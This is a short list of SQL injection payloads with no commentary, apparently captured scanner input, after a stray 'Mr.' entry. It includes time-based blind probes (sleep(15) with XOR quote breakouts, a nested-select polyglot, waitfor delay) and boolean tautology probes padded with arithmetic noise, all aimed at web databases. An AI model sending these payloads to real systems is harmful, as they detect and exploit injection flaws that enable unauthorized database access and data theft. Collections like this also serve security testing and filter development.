Mr.

if(now()=sysdate(),sleep(15),0)

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

1

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

1

-1 OR 2+968-968-1=0+0+0+1 --

-1 OR 2+48-48-1=0+0+0+1

1 waitfor delay '0:0:15' --

-1' OR 2+790-790-1=0+0+0+1 --